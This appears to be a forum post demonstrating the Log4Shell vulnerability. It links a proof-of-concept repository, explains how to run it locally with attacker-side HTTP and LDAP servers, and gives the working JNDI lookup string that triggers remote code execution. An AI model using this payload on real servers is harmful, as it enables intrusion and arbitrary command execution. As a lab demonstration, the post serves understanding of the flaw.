This is a great example of the exploit in action:
https://github.com/ilsubyeega/log4j2-exploits
Here's the video showing it in action:
https://user-images.githubusercontent.com/37479424/145661983-131eb84a-9ac5-4014-9f6b-10b69d8d7cf4.mp4
You can run it yourself. On Linux, you'll first have to install the following prereqs:
node
npm
gradle
default-jdk
And you'll also need to modify Main.java before compiling to change the line:
Runtime.getRuntime().exec("cmd.exe /c start echo Exploit");
to
Runtime.getRuntime().exec("gnome-terminal");
The pieces that are provided for the exploit are:
- An HTTP server that would be owned by the attacker in the wild. This hosts the Main.class file that is going to display a new window on the server when the exploit fires.
- An LDAP server that would be owned by the attacker in the wild. This is the server queried by the vulnerable JndiLookup.class file, which includes a link to the HTTP server.
- A JVM that represents an application server like WebSphere or Tomcat
Once you feed the JVM the userr-controlled string "${jndi:ldap://127.0.0.1:3001/}", you'll see that the JVM spits out errors, but still successfully opens a new window. In the wild, this window represents ANY COMMAND THE ATTACKER WANTS TO RUN ON THE SERVER, and it's running as the same userid that's running the JVM.
Basically, if you didn't already know, this is the worst, and most easily exploited vulnerability that's been found in the wild in a long time.